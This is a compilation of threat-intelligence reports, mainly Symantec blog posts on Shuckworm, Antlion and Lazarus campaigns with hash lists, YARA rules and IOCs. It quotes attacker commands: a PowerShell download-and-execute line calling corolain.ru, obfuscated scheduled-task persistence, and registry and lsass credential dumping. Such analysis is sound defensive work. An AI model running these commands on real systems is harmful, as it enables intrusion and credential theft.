Windows shortcut file
282.7M
120ca851663ef0ebef585d716c9e2ba67b
d4870865160fec3b853156be1159c5
Kang Min-chol Edits 2.doc
Microsoft Office
Document
526K
94ca32c0a3002574d7ea1bef094146a9d
3b2ad0018b3e3d3f4ffca8689b89e5a
Fantasy
Binary Data
1.1M
45ece107409194f5f1ec2fbd902d041f055
a914e664f8ed2aa1f90e223339039
(GOLDBACKDOOR)
Binary Data
1.1M
c02d0f7bc47bfd46bf88cad0648b24118c
a77675c77595b68c0da9d91208b1de
Kang Min-chol Edits 2.zip
(Tracking Document zip)
Zip archive file
187K
c5369c2ce7f33d6cd209cd61226a0637a
dc809b864deb73a98d78bfed0883163
Kang Min-chol Edits 2.doc
(Tracking Document)
Microsoft Office
Document
525K
18c9fd4f781789cd15cee4fcb18fa983897
fc9876422d662a2243ff7499f5948
Windows portable
executable
1.2M
485246b411ef5ea9e903397a5490d1069
46a8323aaf79e6041bdf94763a0c028
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For more information on the intelligence provided in this report,
contact us at research@stairwell.com
Stairwell helps organizations take back the cybersecurity high ground with solutions that attackers can't evade. Its flagship
product, the Inception platform, empowers security teams to outsmart any attacker. Stairwell is composed of security industry
leaders and engineers from Google and is backed by Sequoia Capital, Accel, and Gradient Ventures. stairwell.com
04/2022
Shuckworm: Espionage Group Continues Intense
Campaign Against Ukraine
symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-intense-campaign-ukraine
The Russian-linked Shuckworm espionage group (aka Gamaredon, Armageddon) is
continuing to mount an intense cyber campaign against organizations in Ukraine.
Shuckworm has almost exclusively focused its operations on Ukraine since it first appeared
in 2014. These attacks have continued unabated since the Russian invasion of the country.
While the group
s tools and tactics are simple and sometimes crude, the frequency and
persistence of its attacks mean that it remains one of the key cyber threats facing
organizations in the region.
Multiple payloads
One of the hallmarks of the group
s recent activity is the deployment of multiple malware
payloads on targeted computers. These payloads are usually different variants of the same
malware (Backdoor.Pterodo), designed to perform similar tasks. Each will communicate with
a different command-and-control (C&C) server.
The most likely reason for using multiple variants is that it may provide a rudimentary way of
maintaining persistence on an infected computer. If one payload or C&C server is detected
and blocked, the attackers can fall back on one of the others and roll out more new variants
to compensate.
Symantec
s Threat Hunter Team, part of Broadcom Software, has found four distinct variants
of Pterodo being used in recent attacks. All of them are Visual Basic Script (VBS) droppers
with similar functionality. They will drop a VBScript file, use Scheduled Tasks (shtasks.exe)
to maintain persistence, and download additional code from a C&C server. All of the
embedded VBScripts were very similar to one another and used similar obfuscation
techniques.
Backdoor.Pterodo.B
This variant is a modified self-extracting archive, containing obfuscated VBScripts in
resources that can be unpacked by 7-Zip.
It then adds them as a scheduled task to ensure persistence:
CreateObject("Shell.Application").ShellExecute "SCHTASKS", "/CREATE /sc minute
/mo 10 /tn " + """UDPSync"" /tr ""wscript.exe """ + hailJPT + """" & " jewels //b
joking //e VBScript joyful "" /F ", "" , "" , 0
CreateObject("Shell.Application").ShellExecute "SCHTASKS", "/CREATE /sc minute
/mo 10 /tn " + """SyncPlayer"" /tr ""wscript.exe """ + enormouslyAKeIXNE + """" + "
jewels //b joking //e VBScript joyful "" /F ", "" , "" , 0
The script also copies itself to [USERPROFILE]\ntusers.ini file.
The two newly created files are more obfuscated VBScripts.
The first is designed to gather system information, such as the serial number of the C:
drive, and sends this information to a C&C server.
The second adds another layer of persistence by copying the previously dropped
ntusers.ini file to another desktop.ini file.
Backdoor.Pterodo.C
This variant is also designed to drop VBScripts on the infected computer. When run, it will
first engage in API hammering, making multiple meaningless API calls, which is presumably
an attempt to avoid sandbox detection. It will then unpack a script and a file called
offspring.gif to C:\Users\[username]\. It will call the script with:
"wscript "[USERNAME]\lubszfpsqcrblebyb.tbi" //e:VBScript /w /ylq /ib /bxk //b
/pgs"
This script runs ipconfig /flushdns and executes the offspring.gif file. Offsprint.gif will
download a PowerShell script from a random subdomain of corolain.ru and execute it:
cvjABuNZjtPirKYVchnpGVop = "$tmp = $(New-Object
net.webclient).DownloadString('http://'+
[System.Net.DNS]::GetHostAddresses([string]$(Get-Random)+'.corolain.ru')
+'/get.php'); Invoke-Expression $tmp"
Backdoor.Pterodo.D
This variant is another VBScript dropper. It will create two files:
[USERPROFILE]\atwuzxsjiobk.ql
[USERPROFILE]\abide.wav
It executes them with the following command:
wscript "[USERPROFILE]\atwuzxsjiobk.ql" //e:VBScript /tfj /vy /g /cjr /rxia //b
/pyvc
Similar to the other variants, the first script will run ipconfig /flushdns before calling the
second script and removing the original executable.
The second script has two layers of obfuscation, but in the end it downloads the final payload
from the domain declined.delivered.maizuko[.]ru and executes it.
Backdoor.Pterodo.E
The final variant is functionally very similar to variants B and C, engaging in API hammering
before extracting two VBScript files to the user
s home directory. Script obfuscation is very
similar to other variants.
Other tools
While the attackers have made heavy use of Pterodo during recent weeks, other tools have
also been deployed alongside it. These include UltraVNC, an open-source remoteadministration/remote-desktop-software utility. UltraVNC has previously been used by
Shuckworm in multiple attacks.
In addition to this, Shuckworm has also been observed using Process Explorer, a Microsoft
Sysinternals tool designed to provide information about which handles and DLL processes
have opened or loaded.
Persistent threat
While Shuckworm is not the most tactically sophisticated espionage group, it compensates
for this in its focus and persistence in relentlessly targeting Ukrainian organizations. It
appears that Pterodo is being continuously redeveloped by the attackers in a bid to stay
ahead of detection.
While Shuckworm appears to be largely focused on intelligence gathering, its attacks could
also potentially be a precursor to more serious intrusions, if the access it acquires to
Ukrainian organizations is turned over to other Russian-sponsored actors.
Protection/Mitigation
For the latest protection updates, please visit the Symantec Protection Bulletin.
Indicators of Compromise
A full list of IOCs is available here on GitHub.
If an IOC is malicious and the file available to us, Symantec Endpoint products will detect
and block that file.
Antlion: Chinese APT Uses Custom Backdoor to Target Financial Institutions in
Taiwan
symantec-enterprise-blogs.security.com/blogs/threat-intelligence/china-apt-antlion-taiwan-financial-attacks
The attackers spent a significant amount of time on victim networks.
Chinese state-backed advanced persistent threat (APT) group Antlion has been targeting financial institutions in Taiwan in a persistent
campaign over the course of at least 18 months.
The attackers deployed a custom backdoor we have called xPack on compromised systems, which gave them extensive access to victim
machines.
The backdoor allowed the attackers to run WMI commands remotely, while there is also evidence that they leveraged EternalBlue
exploits in the backdoor. The attackers appeared to have the ability to interact with SMB shares, and it's possible that they used
mounted shares over SMB to transfer files from attacker-controlled infrastructure. There is also evidence that the attackers were able to
browse the web through the backdoor, likely using it as a proxy to mask their IP address.
The goal of this campaign appears to have been espionage, as we saw the attackers exfiltrating data and staging data for exfiltration
from infected networks.
Technical details
As well as the attack on the financial institution outlined in the case study below, Antlion compromised the networks of at least two
other organizations in Taiwan, including another financial organization and a manufacturing company. The activity the group carried
out on those networks was largely similar to the activity that is detailed in the case study, with the xPack backdoor frequently deployed
and a lot of evidence of credential dumping. In the manufacturing target, also, we see the attackers attempting to download malicious
files via SMB shares.
The attackers also spent a significant amount of time on both these targeted networks, spending close to 250 days on the financial
organization and around 175 days on the manufacturing organization.
Symantec, a division of Broadcom, cannot state with certainty what the initial infection vector used by the attackers in this campaign
was, though in one instance they were seen utilizing the MSSQL service to execute system commands, which indicates that the most
likely infection vector was exploitation of a web application or service. However, Antlion are also known to have previously used
malicious emails to gain initial access to victim networks.
The main custom backdoor used by Antlion in this campaign was the xPack backdoor, which is a custom .NET loader that decrypts
(AES), loads, and executes accompanying .bin files. Its decryption password is provided as a command-line argument (Base64 encoded
string), and xPack is intended to be run as a standalone application or as a service (xPackSvc variant). The xPack malware and its
associated payload seems to be used for initial access; it appears that xPack was predominantly used to execute system commands,
drop subsequent malware and tools, and stage data for exfiltration. The attackers also used a custom keylogger and three custom
loaders.
EHAGBPSL loader - custom loader written in C++ - loaded by JpgRun loader
JpgRun loader - customer loader written in C++ - similar to xPack, reads the decryption key and filename from the command line
- decodes the file and executes it
CheckID - custom loader written in C++ - based on loader used by BlackHole RAT
The attackers also used a custom SMB session enumeration tool (NetSessionEnum), a custom bind/reverse file transfer tool named
ENCODE MMC, and a Kerberos golden ticket tool based on Mimikatz.
The attackers also used a variety of off-the-shelf tools, as well as leveraging living-off-the-land tools such as PowerShell, WMIC,
ProcDump, LSASS, and PsExec. The legitimate AnyDesk tool was also abused by the attackers for remote access in one of the victim
organizations. The attackers were also observed leveraging exploits such as CVE-2019-1458 for privilege escalation and remote
scheduled tasks to execute their backdoor. CVE-2019-1458 is an elevation-of-privilege vulnerability that occurs in Windows when the
Win32k component fails to properly handle objects in memory.
Legitimate versions of WinRAR appear to have been exploited by the attackers for data exfiltration, while there is also evidence of data
exfiltration via PowerShell, specifically using the BitsTransfer module to initiate an upload to attacker-controlled infrastructure. There
is also evidence that the attackers likely automated the data collection process via batch scripts, while there is also evidence of instances
where data was likely staged for further exfiltration, though it was not actually observed being exfiltrated from the network. In these
instances, it appears the attackers were interested in collecting information from software pertaining to business contacts, investments,
and smart card readers.
Case study: Attack on a financial organization
The attackers spent a significant amount of time on victims
 networks, and deployed both custom and off-the-shelf malware. In one
financial sector victim in Taiwan the attackers spent almost nine months on the victim network.
The first suspicious activity on this victim network occurred in December 2020 when WMIC was used to execute two commands:
wmic process get CSName,Description,ExecutablePath,ProcessId /format:
;CSIDL_SYSTEM\wbem\zh-tw\htable.xsl
wmic os get
name,version,InstallDate,LastBootUpTime,LocalDateTime,Manufacturer,RegisteredUser,ServicePackMajorVersion,SystemDirectory
/format:
;CSIDL_SYSTEM\wbem\zh-tw\htable.xsl
The first command was used to list the computer name, description of processes, executable path, and process ID. The output was
written to a suspicious file named htable.xsl under the wbem directory. The second command was used to collect information about the
system, which was written out to the same file (htable.xsl). Information collected included:
Version of the operating system (OS)
The installation date
The last time the system was booted
The local date and time of the system
The manufacturer
The registered user
Service pack information - this can be used to determine what patches are installed
System directory path
Five minutes after those commands were issued, WMIC was used to dump credentials:
reg save HKLM\SAM CSIDL_COMMON_DOCUMENTS\sam.hiv
reg save HKLM\SYSTEM CSIDL_COMMON_DOCUMENTS\sys.hiv
reg save hklm\security CSIDL_COMMON_DOCUMENTS\security.hiv
The commands listed above were all executed via Antlion
s custom xPack backdoor.
Several days later, during the Christmas holiday period, the attackers returned over a period of a few days and executed the xPack
backdoor again. They also executed an unknown VBS script via PsExec multiple times:
;cscript.exe
; CSIDL_SYSTEM_DRIVE\update.vbs
On December 28, the attackers used xPack to launch a command prompt to dump credentials from several machines within the
compromised organization with the following commands:
upload.exe -accepteula -ma lsass.exe 16.dmp (a renamed version of Sysinternals procdump64.exe)
reg save hklm\sam CSIDL_PROFILE\publicsam.hive
reg save hklm\system CSIDL_PROFILE\public\system.hive
reg save hklm\security CSIDL_PROFILE\public\security.hive
Over the following couple of weeks, the attackers continued to return intermittently to launch the xPack backdoor or to dump
credentials via the registry. Then, following a few weeks of inactivity, they become active on the infected network once again.
The attackers used the xPack backdoor to launch a command prompt to execute the following commands:
;cmd
; /K CHCP 950
CHCP 950
query user
;CSIDL_SYSTEM\quser.exe
tasklist /v
findstr explorer
cmd /c dir 
;CSIDL_PROFILE\desktop
CSIDL_SYSTEM\cmd.exe /c cmd /c dir \users /b
cmd /c dir 
;CSIDL_PROFILE\desktop
cmd /c dir \users /b
reg save hklm\security CSIDL_COMMON_DOCUMENTS\security.hiv
rar a -r -hp1qaz@WSX3edc!@# W22-009-099.tmp 
;CSIDL_COMMON_DOCUMENTS\w22-009-099_file
reg save hklm\system CSIDL_COMMON_DOCUMENTS\system.hiv
reg save hklm\sam CSIDL_COMMON_DOCUMENTS\sam.hiv
The above commands were used to firstly change the code page to 950, which is the Windows code page for Traditional Chinese. The
attackers then executed 'query user' to list any logged-in users on the system, as well as running 
tasklist
 to get a list of all the running
processes on the system. They also tried to discover what processes were running, before listing all contents of the Desktop directory
and the Users directory. After this, the attackers dumped credentials again via the registry.
The attackers returned to the network a couple of weeks later and carried out largely the same activity. The attackers remained active
on the network for March, April, and May 2021, intermittently returning to launch their xPack backdoor or dump credentials from the
registry. Dumping credentials appears to be a main focus of the attackers, with them likely using these credentials to move laterally
across the network to identify machines of interest from which they can exfiltrate data.
The last activity on this network, after a gap of three months, occurred in August 2021, when the attackers returned and listed all
available shares. They then dumped credentials from the registry and proceeded to collect account, group, and workstation
configuration information.
They then dumped credentials from the registry once again. This was the last activity seen on this network.
Experienced actor stays active
Antlion is believed to have been involved in espionage activities since at least 2011, and this recent activity shows that it is still an actor
to be aware of more than 10 years after it first appeared.
The length of time that Antlion was able to spend on victim networks is notable, with the group able to spend several months on victim
networks, affording plenty of time to seek out and exfiltrate potentially sensitive information from infected organizations. The targeting
of Taiwan is perhaps unsurprising given we know Chinese state-backed groups tend to be interested in organizations in that region.
Protection
For the latest protection updates, please visit the Symantec Protection Bulletin.
Indicators of Compromise (IOCs)
If an IOC is malicious and the file is available to us, Symantec Endpoint products will detect and block that file.
Type
Description
SHA2
85867a8b4de856a943dd5efaaf3b48aecd2082aa0ceba799df53ba479e4e81c5
checkID
SHA2
12425edb2c50eac79f06bf228cb2dd77bb1e847c4c4a2049c91e0c5b345df5f2
xPack
SHA2
e4a15537f767332a7ed08009f4e0c5a7b65e8cbd468eb81e3e20dc8dfc36aeed
xPack
SHA2
e488f0015f14a0eff4b756d10f252aa419bc960050a53cc04699d5cc8df86c8a
xPack
SHA2
9456d9a03f5084e44f8b3ad936b706a819ad1dd89e06ace612351b19685fef92
xPack
SHA2
730552898b4e99c7f8732a50ae7897fb5f83932d532a0b8151f3b9b13db7d73c
xPack
SHA2
de9bd941e92284770b46f1d764905106f2c678013d3793014bdad7776540a451
xPack
SHA2
390460900c318a9a5c9026208f9486af58b149d2ba98069007218973a6b0df66
xPack
SHA2
4331d1610cdedba314fc71b6bed35fea03bc49241eb908a70265c004f5701a29
xPack
SHA2
9b5168a8f2950e43148fe47576ab3ac5b2cfa8817b124691c50d2c77207f6586
xPack
SHA2
a74cb0127a793a7f4a616613c5aae72142c1166f4bb113247e734f0efd48bdba
xPack
SHA2
e5259b6527e8612f9fd9bba0b69920de3fd323a3711af39f2648686fa139bc38
xPack
SHA2
eb7a23136dc98715c0a3b88715aa7e936b88adab8ebae70253a5122b8a402df3
xPack
SHA2
789f0ec8e60fbc8645641a47bc821b11a4486f28892b6ce14f867a40247954ed
Keylogger
Type
Description
SHA2
3db621cac1d026714356501f558b1847212c91169314c1d43bfc3a4798467d0d
Keylogger
SHA2
443f4572ed2aec06d9fb3a190de21bfced37c0cd2ee03dd48a0a7be762858925
JpgRun
SHA2
f4534e04caced1243bd7a9ce7b3cd343bf8f558982cbabff93fa2796233fe929
JpgRun
SHA2
e968e0d7e62fbc36ad95bc7b140cf7c32cd0f02fd6f4f914eeb7c7b87528cfe2
EHAGBPSL
SHA2
0bbb477c1840e4a00d0b6cd3bd8121b23e1ce03a5ad738e9aa0e5e0b2e1e1fea
EHAGBPSL
SHA2
55636c8a0baa9b57e52728c12dd969817815ba88ec8c8985bd20f23acd7f0537
EHAGBPSL
SHA2
2a541a06929dd7d18ddbae2cb23d5455d0666af7bdcdf45b498d1130a8434632
EHAGBPSL
SHA2
85867a8b4de856a943dd5efaaf3b48aecd2082aa0ceba799df53ba479e4e81c5
checkID
SHA2
29d7b82f9ae7fa0dbaf2d18c4d38d18028d652ed1ccc0846e8c781b4015b5f78
checkID
SHA2
f7cab241dac6e7db9369a4b85bd52904022055111be2fc413661239c3c64af3d
checkID
SHA2
2aa52776965b37668887a53dcd2374fc2460293b73c897de5d389b672e1313ff
checkID
SHA2
79a37464d889b41b7ea0a968d3e15e8923a4c0889f61410b94f5d02458cb9eed
checkID
SHA2
48d41507f5fc40a310fcd9148b790c29aeb9458ff45f789d091a9af114f26f43
NetSessionEnum
SHA2
f01a4841f022e96a5af613eb76c6b72293400e52787ab228e0abb862e5a86874
SHA2
e1a0c593c83e0b8873278fabceff6d772eeaaac96d10aba31fcf3992bc1410e5
SHA2
dfee6b3262e43d85f20f4ce2dfb69a8d0603bb261fb3dfa0b934543754d5128b
Mimikatz
Yara Rules
rule xpack_loader
meta:
author = "Symantec, a division of Broadcom"
hash = "12425edb2c50eac79f06bf228cb2dd77bb1e847c4c4a2049c91e0c5b345df5f2"
strings:
$s1 = "Length or Hash destoryed" wide fullword
$s2 = "tag unmatched" wide fullword
$s3 = "File size mismatch" wide fullword
$s4 = "DESFile" wide fullword
$p1 = "fomsal.Properties.Resources.resources" wide fullword
$p2 = "xPack.Properties.Resources.resources" wide fullword
$p3 = "foslta.Properties.Resources.resources" wide fullword
condition:
uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and (2 of ($s*) or any of ($p*))
rule xpack_service
meta:
author = "Symantec, a division of Broadcom"
hash = "390460900c318a9a5c9026208f9486af58b149d2ba98069007218973a6b0df66"
strings:
$s1 = "C:\\Windows\\inf\\wdnvsc.inf" wide fullword
$s2 = "PackService" wide fullword
$s3 = "xPackSvc" wide fullword
$s4 = "eG#!&5h8V$" wide fullword
condition:
uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and 3 of them
rule EHAGBPSL_loader
meta:
author = "Symantec, a division of Broadcom"
hash = "e968e0d7e62fbc36ad95bc7b140cf7c32cd0f02fd6f4f914eeb7c7b87528cfe2"
hash = "2a541a06929dd7d18ddbae2cb23d5455d0666af7bdcdf45b498d1130a8434632"
strings:
$s1 = {45 00 00 00 48 00 00 00 41 00 00 00 47 00 00 00 42 00 00 00 50 00 00 00 53 00 00 00 4C} // EHAGBPSL
$s2 = {74 00 00 00 61 00 00 00 72 00 00 00 57 00 00 00 6F 00 00 00 6B} // tarWok
$b1 = "bnRtZ3M=" fullword // ntmgs
$b2 = "TmV0d29yayBNYW5hZ2VtZW50IFNlcnZpY2U=" fullword // Network Management Service
$b3 = "UHJvdmlkZXMgYWJpbGl0eSB0byBtYW5hZ2UgbmV0d29yayBvdmVyIHRoZSBuZXQgcHJvdG9jb2wu" fullword //
Provides ability to manage network over the net protocol.
$b4 = "bnRtZ3MuZG" // ntmgs.dll / ntmgs.dat
$b5 = "aW1nMS5qcGc=" fullword // img1.jpg
$c1 = "Wscms.nls" fullword
$c2 = "Wscms.dat" fullword
$c3 = "Wscms.dll" fullword
$c4 = "Wscms.ini" fullword
$c5 = "Images01.jpg" fullword
$e1 = "StartWork" fullword
$e2 = "ServiceMain" fullword
$h1 = {DD 9C BD 72} // CreateRemoteThread
$h2 = {C0 97 E2 EF} // OpenProcess
$h3 = {32 6D C7 D5} // RegisterServiceCtrlHandlerA
$h4 = {A1 6A 3D D8} // WriteProcessMemory
condition:
uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and all of ($e*) and (all of ($s*) or any of ($b*) or 3 of ($c*) or
all of ($h*))
rule keylogger
meta:
author = "Symantec, a division of Broadcom"
hash = "3db621cac1d026714356501f558b1847212c91169314c1d43bfc3a4798467d0d"
hash = "789f0ec8e60fbc8645641a47bc821b11a4486f28892b6ce14f867a40247954ed"
strings:
$m1 = "BKB_Test" fullword
$m2 = "KLG_sd76bxds1N" fullword
$k1 = "[%d/%02d/%02d %02d:%02d:%02d K-E-Y-L-O-G]" fullword
$k2 = "[%d/%02d/%02d %02d:%02d:%02d C-L-I-P-B-D]" fullword
$k3 = "< Title--%s-- >" fullword
$k4 = "ImpersonateLoggedOnUser Error(%d)" fullword
$f1 = {55 73 65 72 ?? ?? ?? 00 00 00 ?? ?? ?? 6B 65 79 2E} // Userkey.
$f2 = {55 73 65 72 ?? ?? ?? 00 00 00 ?? ?? ?? 64 61 74 2E} // Userdat.
condition:
uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and (2 of ($k*) or (any of ($m*) and any of ($f*)))
rule checkid_loader
meta:
author = "Symantec, a division of Broadcom"
description = "BlackHole/BlackSwan / QuasarRAT/xClient loader"
hash = "29d7b82f9ae7fa0dbaf2d18c4d38d18028d652ed1ccc0846e8c781b4015b5f78"
strings:
$s1 = "Call %s.%s(\"%s\") => %d" fullword wide
$s2 = "Assembly::CreateInstance failed w/hr 0x%08lx" fullword wide
$s3 = "checkID"
$s4 = "NULL == checkID hMutex" fullword
$s5 = "checkID Mutex ERROR_ALREADY_EXISTS" fullword
$s6 = "dllmain mutex ERROR_ALREADY_EXISTS" fullword
$x1 = "xClient.Program" fullword wide
$x2 = "LoadPayload" fullword
$m1 = "SFZJ_Wh16gJGFKL" ascii wide
$m2 = "d5129799-e543-4b8b-bb1b-e0cba81bccf8" ascii wide
$m3 = "USA_HardBlack" ascii wide
$b1 = "BlackHole.Slave.Program" fullword wide
$b2 = "NuGet\\Config" wide
$b3 = "VisualStudio.cfi" wide
$p = {E1 F6 3C AC AF AC AC AC A8 AC AC AC 53 53 AC AC 14}
$t = "0s+Nksjd1czZ1drJktPO24aEjISMtsvLy5LJzNjdyNnL1dLY08uS39PRhoSMhIy2jYyPkomNko2IjJKEiIaEjISM"
condition:
uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and 2 of ($s*) and (all of ($x*) or any of ($m*) or all of ($b*) or
$p or $t)
The Threat Hunter Team is a group of security experts within Symantec whose mission is to investigate targeted attacks, drive
enhanced protection in Symantec products, and offer analysis that helps customers respond to attacks.
Lazarus Targets Chemical Sector
symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lazarus-dream-job-chemical
Symantec, a division of Broadcom Software, has observed the North Korea-linked advanced
persistent threat (APT) group known as Lazarus conducting an espionage campaign targeting
organizations operating within the chemical sector. The campaign appears to be a
continuation of Lazarus activity dubbed Operation Dream Job, which was first observed in
August 2020. Symantec tracks this sub-set of Lazarus activity under the name Pompilus.
Operation Dream Job
Operation Dream Job involves Lazarus using fake job offers as a means of luring victims into
clicking on malicious links or opening malicious attachments that eventually lead to the
installation of malware used for espionage.
Past Dream Job campaigns have targeted individuals in the defense, government, and
engineering sectors in activity observed in August 2020 and July 2021.
Recently targeted sectors
In January 2022, Symantec detected attack activity on the networks of a number of
organizations based in South Korea. The organizations were mainly in the chemical sector,
with some being in the information technology (IT) sector. However, it is likely the IT targets
were used as a means to gain access to chemical sector organizations.
There is sufficient evidence to suggest that this recent activity is a continuation of Operation
Dream Job. That evidence includes file hashes, file names, and tools that were observed in
previous Dream Job campaigns.
A typical attack begins when a malicious HTM file is received, likely as a malicious link in an
email or downloaded from the web. The HTM file is copied to a DLL file called
scskapplink.dll and injected into the legitimate system management software INISAFE Web
EX Client.
The scskapplink.dll file is typically a signed Trojanized tool with malicious exports added.
The attackers have been observed using the following signatures: DOCTER USA, INC and "A"
MEDICAL OFFICE, PLLC
Next, scskapplink.dll downloads and executes an additional payload from a command-andcontrol (C&C) server with the URL parameter key/values "prd_fld=racket".
This step kicks off a chain of shellcode loaders that download and execute arbitrary
commands from the attackers, as well as additional malware, which are usually executed
from malicious exports added to Trojanized tools such as the Tukaani project LZMA Utils
library (XZ Utils).
The attackers move laterally on the network using Windows Management Instrumentation
(WMI) and inject into MagicLine by DreamSecurity on other machines.
In some instances, the attackers were spotted dumping credentials from the registry,
installing a BAT file in a likely effort to gain persistence, and using a scheduled task
configured to run as a specific user.
The attackers were also observed deploying post-compromise tools, including a tool used to
take screenshots of web pages viewed on the compromised machine at set intervals
(SiteShoter). They were also seen using an IP logging tool (IP Logger), a protocol used to turn
computers on remotely (WakeOnLAN), a file and directory copier (FastCopy), and the File
Transfer Protocol (FTP) executed under the MagicLine process.
Case study
The following is a case study detailing step-by-step attacker activity on an organization in the
chemical sector.
January 17, 2022
00:51 
 A malicious HTM file is received:
e31af5131a095fbc884c56068e19b0c98636d95f93c257a0c829ec3f3cc8e4ba csidl_profile\appdata\local\microsoft\windows\inetcache\ie\3tygrjkm\join_06[1].htm
The HTM file is copied to a DLL file:
rundll32.exe CSIDL_PROFILE\public\scskapplink.dll,netsetcookie Cnusrmgr
This DLL file is injected into the legitimate system management software INISAFE Web EX
Client. The file is a signed Trojanized version of the ComparePlus plugin for Notepad++ with
malicious exports added.
01:02 
 The file is run and downloads and executes a backdoor payload (final.cpl 5f20cc6a6a82b940670a0f89eda5d68f091073091394c362bfcaf52145b058db) from a
command-and-control (C&C) server with the URL parameter key/values "prd_fld=racket".
The file final.cpl is a Trojanized version of the Tukaani project LZMA Utils library (XZ Utils)
with a malicious export added (AppMgmt).
The malware connects to, downloads, decodes, and executes shellcode from the following
remote location:
hxxp[:]//happy[.]nanoace.co.kr/Content/rating/themes/krajeefas/FrmAMEISMngWeb.asp
01:04 
 Another CPL file
(61e305d6325b1ffb6de329f1eb5b3a6bcafa26c856861a8200d717df0dec48c4) is executed.
This file, again, is a Trojanized version of LZMA Utils with a malicious added export.
01:13 
 The shellcode loader (final.cpl) is executed again several times.
01:38 
 Commands are executed to dump credentials from the SAM and SYSTEM registry
hives.
Over the next several hours, the attackers run unknown shellcode via final.cpl at various
intervals, likely to collect the dumped system hives, among other things.
06:41 
 The attackers create a scheduled task to ensure persistence between system reboots:
schtasks /create /RU [REDACTED].help\175287 /ST 15:42 /TR "cmd.exe /c
C:\ProgramData\Intel\Intel.bat" /tn arm /sc MINUTE
The scheduled task instructs the system to execute 'Intel.bat' as user
[REDACTED].help/175287
 starting at 15:42 then every minute under the scheduled task
name 
. It's unclear if this was an account that was cracked via the dumped registry hives
or an account the attackers were able to create with admin rights.
The attackers were also observed installing Cryptodome (PyCrypto fork) Python encryption
modules via CPL files.
A clean installation of BitDefender was also installed by the attackers. While unconfirmed,
the threat actors may have installed an older version of this software (from 2020) with a
vulnerability that allowed attackers to run arbitrary commands remotely.
January 18
00:21 
 The final.cpl file is executed again.
00:49 
 A new CPL file called wpm.cpl
(942489ce7dce87f7888322a0e56b5e3c3b0130e11f57b3879fbefc48351a78f6) is executed.
CSIDL_COMMON_APPDATA\finaldata\wpm.cpl Thumbs.ini 4 30
This file contains, and connects to, a list of IP addresses and records whether the connections
were successful.
01:11 
 Again, the final.cpl shellcode loader is executed multiple times, executing some
unknown shellcode. This activity continued intermittently until 23:49.
23:49 
 The file name of the CPL file changes to 'ntuser.dat'. The file location and
command-line arguments remain the same.
January 19
00:24 
 The CPL shellcode loader files (final.cpl and ntuser.dat) are executed multiple
times.
00:28 
 The attackers create a scheduled task on another machine, likely to ensure
persistence:
schtasks /create /RU [REDACTED]\i21076 /ST 09:28 /TR "cmd.exe /c
C:\ProgramData\Adobe\arm.bat" /tn arm /sc MINUTE
The command is used to schedule a task named 'arm' to run the file 'arm.bat' starting at at
09:28 then every minute after that under the user account '[REDACTED]\i21076'.
00:29 
 A file named arm.dat
(48f3ead8477f3ef16da6b74dadc89661a231c82b96f3574c6b7ceb9c03468291) is executed
with the following command line arguments:
CSIDL_SYSTEM\rundll32.exe
CSIDL_COMMON_APPDATA\adobe\arm.dat,packageautoupdater
LimitedSpatialExtent_U_f48182 -d 1440 -i 10 -q 8 -s 5
The arm.dat file is a tool used to take screenshots of web pages viewed on the compromised
machine every 10 seconds (SiteShoter), as determined by the command line arguments. The
screenshots are saved in appdata\local with the date at the top of the file.
06:50 
 The shellcode loader (final.cpl) is executed several times.
07:34 
 A new CPL file named addins.cpl
(5f20cc6a6a82b940670a0f89eda5d68f091073091394c362bfcaf52145b058db) is executed
multiple times, which again is another shellcode loader and has the same command line
arguments as seen with final.cpl:
CSIDL_SYSTEM\rundll32.exe CSIDL_COMMON_APPDATA\addins.cpl, AppMgmt
EO6-CRY-LS2-TRK3
07:39 
 A scheduled task is created:
sc create uso start= auto binPath= 
cmd.exe /c start /b C:\Programdata\addins.bat
DisplayName= uso
The task is used to auto-start and execute addins.bat each time the system is booted. The task
uses the service name 'uso' (a file name previously used in older Dream Job campaigns
targeting security researchers).
The attacker runs addins.cpl again to run a command to start the service and then delete the
service directly after:
CSIDL_SYSTEM\rundll32.exe CSIDL_COMMON_APPDATA\addins.cpl, AppMgmt
EO6-CRY-LS2-TRK3
sc start uso (via cmd.exe)
sc delete uso
The following commands were then executed to collect information pertaining to network
configuration, current user the attackers are logged in as, active users on the machine,
available shared drives, and the contents of the 'addins' directory.
ipconfig /all
whoami
query user
net use
dir CSIDL_WINDOWS\addins
07:41 
 The file addins.cpl is executed again multiple times before a scheduled task is
created to run addins.bat again, start the service, and immediately delete the service:
sc create uso start= auto binPath= "cmd.exe /c start /b
C:\Windows\addins\addins.bat" DisplayName= uso
sc start uso
sc delete uso
January 20
The attackers execute addins.cpl again with the same command line as before.
No further activity is observed.
The Lazarus group is likely targeting organizations in the chemical sector to obtain
intellectual property to further North Korea
s own pursuits in this area. The group
continuation of Operation Dream Job, as witnessed by Symantec and others, suggests that
the operation is sufficiently successful. As such, organizations should ensure they have
adequate security in place and remain vigilant for attacks such as this.
As always, users should be wary of clicking links or downloading files even if they come from
seemingly trustworthy sources.
Protection/Mitigation
For the latest protection updates, please visit the Symantec Protection Bulletin.
Indicators of Compromise
SHA-256
164f6a8f7d2035ea47514ea84294348e32c90d817724b80ad9cd3af6f93d83f8
18686d04f22d3b593dd78078c9db0ac70f66c7138789ad38469ec13162b14cef
1cb8ea3e959dee988272904dbb134dad93539f2c07f08e1d6e10e75a019b9976
2dd29b36664b28803819054a59934f7a358a762068b18c744281e1589af00f1f
32bfdf1744077c9365a811d66a6ea152831a60a4f94e671a83228016fc87615f
35de8163c433e8d9bf6a0097a506e3abbb8308330d3c5d1dea6db71e1d225fc3
4277fcaada4939b76a3df4515b7f74837bf8c4b75d4ff00f8d464169eede01e3
4446efafb4b757f7fc20485198236bed787c67ceffc05f70cd798612424384ce
48f3ead8477f3ef16da6b74dadc89661a231c82b96f3574c6b7ceb9c03468291
4a2236596e92fa704d8550c56598855121430f96fe088712b043cba516f1c76c
54029bd4fcc24551564942561a60b906bee136264f24f43775b7a8e15095a9e0
56da872e8b0f145417defd4a37f357b2f73f244836ee30ac27af7591cda2d283
5e7edc8f1c652f53a6d2eabfbd9252781598de91dbe59b7a74706f69eb52b287
